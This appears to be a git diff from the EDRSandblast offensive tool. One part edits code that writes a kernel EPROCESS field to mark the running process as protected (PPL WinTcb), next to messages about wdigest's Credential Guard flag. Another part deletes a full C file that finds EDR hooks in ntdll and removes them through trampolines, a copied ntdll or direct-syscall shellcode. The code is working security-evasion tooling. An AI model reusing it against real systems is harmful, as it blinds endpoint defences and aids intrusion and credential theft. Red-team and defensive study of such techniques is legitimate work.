_putts_or_not(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
_putts_or_not(TEXT("\n"));
|
||||
|
||||
returnStatus = TRUE;
|
||||
|
||||
|
||||
@@ -6,8 +6,10 @@
|
||||
*/
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "Undoc.h"
|
||||
#include "RunAsPPL.h"
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
@@ -17,19 +19,19 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
// Open an handle to our own process.
|
||||
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
|
||||
_tprintf_or_not(TEXT("[*] [ProcessProtection] Self process handle: 0x%hx\n"), (USHORT)((ULONG_PTR)selfProcessHandle));
|
||||
}
|
||||
|
||||
|
||||
// Retrieves the native NtQuerySystemInformation function from ntdll.
|
||||
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
|
||||
if (!hNtdll) {
|
||||
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||
if (!NtQuerySystemInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
@@ -42,7 +44,7 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
|
||||
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
|
||||
if (!pHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
@@ -50,14 +52,14 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
SystemHandleInformationSize = SystemHandleInformationSize * 2;
|
||||
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
|
||||
if (!tmpHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
pHandleTableInformation = tmpHandleTableInformation;
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
}
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
|
||||
_putts_or_not(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
@@ -71,13 +73,10 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
}
|
||||
|
||||
if (handleInfo.HandleValue == (USHORT)((ULONG_PTR)selfProcessHandle)) {
|
||||
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found the handle of the current process (PID: %hu): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
returnAddress = (DWORD64)handleInfo.Object;
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(pHandleTableInformation);
|
||||
@@ -86,24 +85,20 @@ DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
}
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose) {
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
|
||||
if (processEPROCESSAddress == 0x0) {
|
||||
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
|
||||
CloseHandle(Device);
|
||||
_putts_or_not(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect"));
|
||||
return -1;
|
||||
}
|
||||
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||
_tprintf_or_not(TEXT("[+] [ProcessProtection] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||
|
||||
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
|
||||
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
|
||||
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
|
||||
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + g_ntoskrnlOffsets.st.eprocess_protection;
|
||||
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.eprocess_protection;
|
||||
|
||||
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
|
||||
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
|
||||
|
||||
CloseHandle(Device);
|
||||
_tprintf_or_not(TEXT("[*] [ProcessProtection] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||
WriteMemoryWORD(processSignatureLevelAddress, flagPPLWinTcb);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,685 +0,0 @@
|
||||
/*
|
||||
* All the logic that detects, resolves, patch userland hooks and other related structures
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "Undoc.h"
|
||||
|
||||
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
|
||||
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
int debugf(const char* fmt, ...) {
|
||||
#if _DEBUG
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
#else
|
||||
fmt = 0;
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
diff* diffsList = malloc(diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (diffAddr != NULL && sizeToScan != 0) {
|
||||
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
diff* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file, in a newly allocated buffer
|
||||
*/
|
||||
PBYTE readFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(hook* hook, DWORD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
diff* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
diff patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
diff lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
{
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
|
||||
OSVERSIONINFOEXW versionInformation = { 0 };
|
||||
RtlGetVersion(&versionInformation);
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
DWORD oldProtect;
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
PBYTE pShellcode = shellcode;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
DWORD syscallNumber = 0;
|
||||
|
||||
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
|
||||
for (int i = 0; i < 0x10; i++ , scanner++) {
|
||||
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
|
||||
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
|
||||
syscallNumber = *pPotentialSycallNumber;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (syscallNumber != 0) {
|
||||
//syscall number found !
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
|
||||
syscallNumber = 0x50; // win10
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
|
||||
syscallNumber = 0x4F; // win8.1 / 2012 R2
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
|
||||
syscallNumber = 0x4E; // win8 / 2012
|
||||
}
|
||||
else if (versionInformation.dwMajorVersion <= 6) {
|
||||
syscallNumber = 0x4D; // win7 / 2008 R2 & before
|
||||
}
|
||||
else {
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
*((DWORD*)(&shellcode[1])) = syscallNumber;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
|
||||
#if !_WIN64
|
||||
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
#else
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
printf("Unhook method does not exist, exiting...");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VirtualQuery(destination, &mbi, sizeof(mbi));
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
return NULL;
|
||||
}
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
hook* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
hook* hooksList = calloc(hookListSize, sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
